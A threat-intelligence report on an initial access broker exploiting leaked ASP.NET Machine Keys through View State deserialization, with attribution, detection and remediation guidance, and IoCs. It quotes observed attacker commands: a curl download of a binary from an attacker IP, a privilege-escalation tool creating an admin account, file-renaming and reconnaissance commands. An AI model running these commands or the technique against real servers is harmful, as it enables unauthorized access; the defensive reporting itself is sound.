Executive Summary
Unit 42 researchers uncovered a campaign by an initial access broker (IAB) to exploit leaked Machine Keys — cryptographic keys used on ASP.NET sites — to gain access to targeted organizations. IABs breach organizations and then sell that access to other threat actors.
This report analyzes the tools used in these attacks. We track this actor as the temporary group TGR-CRI-0045. The group seems to follow an opportunistic approach but has attacked organizations in Europe and the U.S. in the following industries: financial services, manufacturing, wholesale and retail, high technology, and transportation and logistics.
The IAB used these leaked keys to sign malicious payloads that provide unauthorized access to targeted servers, in a technique called ASP.NET View State deserialization. This technique enabled the IAB to execute malicious payloads directly in server memory, minimizing their on-disk presence and leaving few forensic artifacts, making detection more challenging.
We attribute the temporary group TGR-CRI-0045, with medium confidence, to Gold Melody (aka UNC961, Prophet Spider). This assessment is based on overlaps in the following:
- Indicators of compromise (IoCs)
- Tactics, techniques and procedures (TTPs)
- Victimology
This report also analyzes TGR-CRI-0045’s infrastructure, as well as the tooling it used to gather information about other systems on the network and maintain access to the exploited systems. The tooling appears to be under active development.
The earliest evidence of exploitation and tool deployment was in October 2024, with a significant increase in activity between late January and March 2025. This surge included deploying post-exploitation tools such as open-source port scanners and custom-built utilities for persistence (maintaining access) and privilege escalation (gaining higher-level access).
We identified or responded to incidents at around a dozen organizations impacted by this threat. In most cases, we identified exposed Machine Keys as the root cause. Therefore, we strongly recommend that organizations review Microsoft’s guidance on identifying and remediating compromised Machine Keys for ASP.NET Internet Information Services (IIS) sites in their environment.
Palo Alto Networks customers are better protected from the tools discussed in this article through the following products and services:
- The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
- Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious.
- The Cortex XDR and XSIAM IIS Protection module features capabilities to both detect and prevent View State deserialization as discussed in this article.
If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.
Technical Analysis
How Managed Threat Hunting Discovered TGR-CRI-0045: A Surge in Exploitation
Between Jan. 30 and Feb. 2, 2025, we responded to web server intrusions in two customer environments. In both cases, the intrusions involved command shell execution originating from an IIS worker process (w3wp.exe). These intrusions exhibited the following common characteristics:
- cmd.exe invocation using stdout and stderr output redirection: cmd /c your_command_here 2>&1
- Staging directory: C:\Windows\Temp\111t
- File retrieved via curl from: hxxp://195.123.240[.]233:443/atm
Broader Investigation
Unexpectedly, the investigation of affected endpoints revealed no recently uploaded web shells. However, expanding the investigation revealed the same cmd.exe invocation and staging directory misuse in other tenants’ hands-on-keyboard intrusions.
Telemetry confirmed the attacker executed commands loading managed .NET assemblies (C# code) directly into memory (reflective loading). This exploitation targeted the View State, an internal parameter within ASP.NET sites running on Microsoft IIS, via deserialization of a malicious payload. Deserialization is the process of converting data encoded for transit or storage into internal application state. As MSTIC reported, this exploitation was likely enabled by the victims’ use of static, exposed Machine Keys within their applications.
Public reporting on financially motivated threat actors abusing ViewState deserialisation is limited. This report seeks to address this gap by providing insights into the attackers’ trade craft and contributing to the growing understanding of .NET deserialization exploitation. Our goal is to empower defenders to effectively respond to these threats.
How TGR-CRI-0045 Exploited Victim Servers
IIS and ASP.NET View State Exploitation Primer
Understanding TGR-CRI-0045’s access requires explaining the roles of IIS, ASP.NET, View State and how compromised key material enables remote code execution. IIS is a web server supporting various web application technologies, including ASP.NET. This framework allows developers to create dynamic, server-side applications using .NET languages like C# and VB.NET.
ASP.NET websites use View State to manage interactions between a user’s browser and the server. View State maintains the state of frontend controls (e.g., checkboxes and input fields) between requests, storing this information in a hidden HTTP parameter named __VIEWSTATE, included in all requests. This parameter is vulnerable to various .NET deserialization techniques that can enable remote code execution if the attacker knows the key used to protect it.
Machine Keys, consisting of a ValidationKey (for integrity) and an optional DecryptionKey, protect ASP.NET View States from manipulation by default. However, attackers can leverage publicly available lists of leaked Machine Keys that are often present on production sites due to code reuse (referenced at the end of this article).
Attackers can also extract Machine Keys directly from running servers. With a valid set of Machine Keys, an attacker can craft a malicious deserialization payload, target a vulnerable server and execute arbitrary code within the context of the IIS worker process.
The potential scope of this attack is significant. View States are transmitted regardless of the specific site or application running on ASP.NET, even if disabled for a particular component. Any IIS server running an ASP.NET site with compromised Machine Keys is likely vulnerable. For a detailed explanation of how threat actors store and access Machine Keys, we highly recommend this Zeroed.tech blog post.
Generating and Executing View State Payloads
TGR-CRI-0045 likely used tools like ysoserial.net — an open-source .NET deserialization payload generator — and its View State plugin to build malicious deserialization payloads that:
- Bypassed View State protection using pre-exposed Machine Keys to create valid cryptographic signatures, bypassing built-in View State protections. (Compromised sites often had web.config files containing Machine Keys that were present on known denylists)
- Used the XamlAssemblyLoadFromFile gadget, a deserialization gadget relying on XAML-formatted data to:
- Trigger malicious deserialization
- Load and execute a .NET assembly in memory from a Base64-encoded gzip stream contained in the __VIEWSTATE parameter
Loaded .NET assemblies have the same lifecycle as the delivering HTTP request. The attacker launches an exploit payload, and the target server processes it. The payload executes, using input parameters bundled within the same request and returns output to the originating request via the HTTP response.
Once processed, the payload cannot be re-used. This “single-shot” exploit requires a separate attempt for each command, resulting in a 1:1 ratio of exploit attempts to command executions. Figure 1 below shows this process.
Recovering and Analyzing TGR-CRI-0045 IIS Modules
In compromised environments, we identified subsets of the following five .NET assemblies loaded into memory following successful View State exploitation:
- Cmd /c: We identified three sub-variants, each using different HTTP parameters to pass a command to the system’s command shell. This allowed the attacker to execute arbitrary commands on the server.
- File upload: This allowed the attacker to upload files to the server by specifying a target file path and a byte buffer containing the file’s contents.
- Winner: This was likely an exploitation check, reporting back u a win to the attacker, confirming successful exploitation.
- File download: (Unrecovered) Based on imported functions, this module appears to be a downloader, enabling the attacker to retrieve sensitive data from the compromised server.
- Reflective loader: (Unrecovered) Based on imported functions, this module appears to be a reflective loader, allowing the attacker to dynamically load and execute additional .NET assemblies in memory without writing them to disk.
The recovered assemblies share common data handling characteristics. They appear to use a simple single-character XOR key x to decrypt payloads embedded within HTTP parameters.
The assemblies also appear to call httpContext.response.Flush() followed by httpContext.response.End() to terminate HTTP responses. This likely reduces the amount of forensic data generated when ASP.NET fails to correctly deserialize the malicious payloads, making detection and incident response more challenging.
Assembly name E — the default ysoserial.net ExploitClass name — occurs most frequently. To avoid naming conflicts, the attacker renamed some modules (e.g., Dw and d).
Figures 2-6 below show the source code of the recovered modules, which were likely written as C# .cs files. Compilation — transforming source code into executable code — varies depending on the ysoserial.net gadget used. We most frequently observed the XamlAssemblyLoadFromFile gadget, which compiles the .NET assembly on the attacker’s system during exploitation and transmits it to the target server for in-memory execution.
Cmd Payloads
File Upload
Exploit Checker
Operational Use of Assemblies
Between October 2024 and January 2025, the threat actor’s activity primarily focused on exploiting systems, deploying modules — like the exploit checker — and performing basic shell reconnaissance.
Hands-on-Keyboard Post-Exploitation
Post-exploitation activity has primarily involved reconnaissance of the compromised host and surrounding network. We had observed no lateral movement as of early June.
A consistent characteristic across all observed intrusions was TGR-CRI-0045 using C:\Windows\Temp\111t as a staging directory for tools and data. In a few isolated instances, we observed the threat actor interacting with the C:\Windows\Temp\gen_py directory but found no evidence of them storing tools or exfiltrated data there.
Local Privilege Escalation and Persistence
The threat actor primarily achieved local privilege escalation using a custom C# binary named updf. This name was likely used to disguise the file as the PDF editor UPDF.
The updf binary appears to be under active development, based on partially implemented features in its codebase. It uses the GodPotato exploit, which misuses Windows named pipes to impersonate a privileged service (e.g., epmapper) and obtain SYSTEM-level access.
While updf can execute commands with SYSTEM privileges, it’s most commonly used to create a new local user and add it to the local administrators group:
- c:\windows\temp\111t\updf.exe -nadm ‘support:Sup0rt_1!admin’
In one instance, TGR-CRI-0045 exported web.config files (ASP.NET configuration files) and modified a specific page’s settings to
Download of Staged Binary
Most observed intrusions involved using wget or curl to download an ELF binary named atm. If the attacker used curl, it was likely pre-existing on the hosts. If they used wget.exe, it was likely uploaded to the target servers by executing the file upload payload. This atm binary might support malicious activities on Linux servers, should lateral movement occur. The following is an example of a curl command used to download the atm binary:
- curl hxxp://195.123.240[.]233:443/atm
TXPortMap
TGR-CRI-0045 used TxPortMap — a Golang port scanner and banner grabber — executed as txp.exe or txpm.exe. They did so to identify internal servers accessible from the initially compromised host (the beachhead). This allowed the attacker to map out the internal network and identify potential exploitation targets.
Reconnaissance Activities
Over a five-minute period, the threat actor performed local and network reconnaissance via the command shell assembly, using the following commands:
Table 1 shows the reconnaissance commands.
| Command | Description |
| tasklist | Lists all running processes on the system |
| ipconfig /all | Displays the system’s network configuration, including IP address, domain name server (DNS) servers and media access control (MAC) address |
| quser | Displays information about users that are logged in |
| whoami /all | Displays the current user’s identity and group memberships |
| nltest /domain_trusts | Enumerates domain trusts |
| net user | Lists local user accounts |
| systeminfo | Displays detailed system information, including OS version and hardware details |
| dir |
Lists the files and directories in user directories |
Table 1. Threat actor’s reconnaissance commands.
Renaming Uploaded Executables for Defense Evasion
The file upload assembly sometimes uploaded executables with one-, two- or three-character filenames. It’s unclear whether this was a limitation of the assembly itself or a deliberate evasion technique by the threat actor to upload files without extensions. The attacker then used the command shell assembly to rename these files with valid extensions within the staging directory, likely to make the files appear less suspicious.
Examples of the commands used to rename the files:
- “cmd.exe” /c move c:\windows\temp\111t\tx2 c:\windows\temp\111t\txp.exe 2>&1
- “cmd.exe” /c move c:\windows\temp\111t\tx c:\windows\temp\111t\txpm.exe 2>&1
- “cmd.exe” /c move c:\windows\temp\111t\w c:\windows\temp\111t\wget.exe 2>&1
After executing their tools and reconnaissance, the threat actor deleted any remaining on-disk tools and the 111t directory.
Attribution and Targeting
Based on overlaps in IoCs, TTPs and victimology, we assess with medium confidence that TGR-CRI-0045 is linked to Gold Melody.
TGR-CRI-0045 has targeted organizations in Europe and the U.S. The group seems to follow an opportunistic approach that is consistent with their attack vector. Since the beginning of the identified activity, the group has targeted organizations from the following industries, most of them based in the U.S.:
- Securities and investment services
- Manufacturing – building supplies
- Manufacturing – clay refractories
- Manufacturing – surgical/medical instruments
- Wholesale and retail
- High tech
- Transportation and logistics
- Prepackaged software services
- Data processing and preparation
- Financial services
- Used goods/merchandise resalers
- Custom computer programming services
Implications of Cybercrime Adoption of In-Memory IIS Tradecraft and Key Takeaways for Blue Teams
Stealthier Access and Longer Dwell Times
In-memory IIS tradecraft significantly hinders detection. Without proper telemetry, View State deserialization attacks are virtually invisible. Remediation typically occurs only when new Machine Keys are generated or the server is decommissioned. This allows threat actors, particularly IABs, to maintain long-term, low-footprint access to a pool of compromised systems.
Telemetry for POST Requests: Covering a Possible Weakness
Although View State deserialization payloads can be delivered via a URI parameter in a GET request, attackers typically include the __VIEWSTATE parameter within a POST request. Due to their size and potential sensitivity, POST requests are rarely logged by IIS servers, proxies, load balancers or security appliances.
Consider implementing solutions that conditionally filter and log POST requests. Options include the following:
- Custom logging rules
- Web observability frameworks
- Endpoint detection and response agents
- Network security appliances
A Possible Detection Avenue: Windows Event Logging
Windows might log View State deserialization failures as Event ID 1316 in the ASP.NET event log. Review these logs and check for malicious binaries in failed View State payloads. View States containing binaries or encrypted data (when View State encryption is disabled) are highly suspicious.
Single-Shot Exploits: A Limited Approach
TGR-CRI-0045 uses a simplistic approach to View State exploitation, loading a single, stateless assembly directly. Each command execution requires re-exploitation and re-uploading the assembly (e.g., running the file upload assembly multiple times). The same applies to executing a new directory listing or a new process. The assembly, parameters and exploit code are submitted and executed, and the results are returned through a single request. This single-shot approach limits the attacker’s ability to interact with the compromised system.
Even if TGR-CRI-0045 does not deploy a persistent web shell (backed by disk or memory) via View State exploitation, defenders need to be aware of the following:
- Each exploit is an opportunity
- Each exploit attempt provides attackers with the opportunity to execute a payload that is possibly invisible to existing security tooling and monitoring
- The absence of a web shell doesn’t mean there’s no breach
- A lack of a web shell does not indicate that the server has not been exploited
- Re-exploitation is required
- TGR-CRI-0045 must exploit the server each time they wish to execute a payload, unless they load a module that is persistent between requests
- Stateful exploitation is possible
- Although TGR-CRI-0045 is deploying stateless modules, there are documented cases of threat actors deploying stateful IIS post-exploitation .NET assemblies. These rely on data stored in ASP.NET and .NET variables that are accessible to the web processing pipeline and persistent between requests. CrowdStrike’s report on IceApple is an example of one such framework.
MITRE ATT&CK Techniques
- T1036.005 – Masquerading: Match Legitimate Name or Location (updf binary)
- T1036.010 – Masquerading: Masquerade Account Name
- T1046 – Network service discovery (TxPortMap)
- T1059.003 – Command and Scripting Interpreter: Windows Command Shell (cmd.exe)
- T1071.001 – Application Layer Protocol: Web Protocols (HTTP View State)
- T1082 – System Information Discovery (systeminfo, ipconfig)
- T1105 – Ingress tool transfer (wget, curl)
- T1134.001 – Access Token Manipulation: Token Impersonation/Theft (GodPotato exploit in updf)
- T1136.001 – Create account: Local Account (updf)
- T1190 – Exploit public-facing application (View State deserialization)
- T1217 – Browser Information Discovery
- T1505.003 – Web shell (Potential web.config modification)
- T1572 – Protocol tunneling (If used, based on imported functions in the unrecovered file download module)
- T1587.001 – Malware
Remediation and Hardening Guidance
Machine Keys
IIS Machine Keys are fundamental cryptographic components used to authenticate and encrypt client-server data. They are essential for View State deserialization exploits.
If you suspect a View State deserialization exploit, check your IIS application for the following:
- Having no View State message authentication code (MAC) enabled
- Using a compromised Machine Key
- Having had its Machine Key stolen
We provide guidance for four possible cases below:
- If View State MAC signing is disabled, enable it after testing application stability
- If View State MAC signing is enabled and uses static Machine Keys, consider the keys compromised. Remediate them following guidance from Microsoft and Zeroed.Tech.
- If View State MAC signing is enabled and uses static Machine Keys found in known compromised lists (e.g., Blacklist3r): Reset the keys following the guidance from Microsoft above, ensuring the new key isn’t on this denylist.
- If View State MAC signing is enabled and uses dynamic Machine Keys, consider the keys compromised and regenerate them in IIS Server Manager.
We strongly recommend reviewing Microsoft’s guidance on remediation for this topic.
Conclusion
This investigation reveals how TGR-CRI-0045 leverages in-memory IIS techniques for persistent access. Exploiting ASP.NET View State deserialization vulnerabilities via exposed Machine Keys allows minimal on-disk presence and enables long-term access.
The group’s opportunistic targeting and ongoing tool development highlight the need for organizations to prioritize identifying and remediating compromised Machine Keys, as outlined by Microsoft. The single-shot nature of the exploit and limitations of traditional telemetry show the need for conditional POST request logging and careful ASP.NET event log analysis. These measures aid detection and response when endpoint solutions lack visibility into such attacks
Palo Alto Networks Protection and Mitigation
Palo Alto Networks customers are better protected from the threats discussed above through the following products:
XDR and XSIAM IIS Protection
The Cortex XDR and XSIAM IIS Protection module features capabilities to both detect and prevent View State deserialization as discussed in this article. This module is enabled by default.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
- North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
- UK: +44.20.3743.3660
- Europe and Middle East: +31.20.299.3130
- Asia: +65.6983.8730
- Japan: +81.50.1790.0200
- Australia: +61.2.4062.7950
- India: 00080005045107
Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
Indicators of Compromise
Reflective .NET assembly hashes:
- 106506ebc7156be116fe5d2a4d662917ddbbfb286007b6ee7a2b01c9536b1ee4
- 87bd7e24af5f10fe1e01cfa640ce26e9160b0e0e13488d7ee655e83118d16697
- 55656f7b2817087183ceedeb4d9b78d3abee02409666bffbe180d6ea87ee20fb
- 18a90b3702776b23f87738b26002e013301f60d9801d83985a57664b133cadd1
- d5d0772cb90d54ac3e3093c1ea9fcd7b878663f7ddd1f96efea0725ce47d46d5
- b3c085672ac34f1b738879096af5fcd748953116e319367e6e371034366eaeca
- File sizes: Various
- File types: Executables (DLL)
- File description: Hashes of compiled assemblies observed
- Run method: Loaded by IIS upon deserialization
Post-exploitation tooling dropped to disk:
- d4bfaf3fd3d3b670f585114b4619aaf9b10173c5b1e92d42be0611b6a9b1eff2
- c1f66cadc1941b566e2edad0d1f288c93bf060eef383c79638306638b6cefdf8
- File types: Executables
- File description: TxPortMap named txpm.exe or txp.exe
- Run method: cmd /c
- 52a72f899991506d2b1df958dd8736f7baa26592d664b771c3c3dbaef8d3114a
- d3767be11d9b211e74645bf434c9a5974b421cb96ec40d856f4b232a5ef9e56d
- File types: Executables
- File description: .NET executables named updf.exe or up that uses the GodPotato privilege escalation technique to elevate and create a new local administrator or run an instance of cmd /c.
- Run method: cmd /c
- f368ec59fb970cc23f955f127016594e2c72de168c776ae8a3f9c21681860e9c
- File type: ELF
- File description: Allows a user to execute commands or binaries as a root user on Linux hosts. Downloaded via curl.
Exploitation IP addresses:
- 67.43.234[.]96
- 213.252.232[.]237
- 98.159.108[.]69
- 190.211.254[.]95
- 109.176.229[.]89
- 169.150.198[.]91
- 194.5.82[.]11
- 138.199.21[.]243
- 194.114.136[.]95
Exploitation payloads containing malicious __VIEWSTATE parameters were observed from the following IP addresses in October 2024-February 2025. HTTP/s traffic from these addresses targeting IIS servers should be interrogated.
Infrastructure staging post-exploitation tooling:
Between January and February 2025, the threat actor pulled tooling down from this address via curl on Windows.
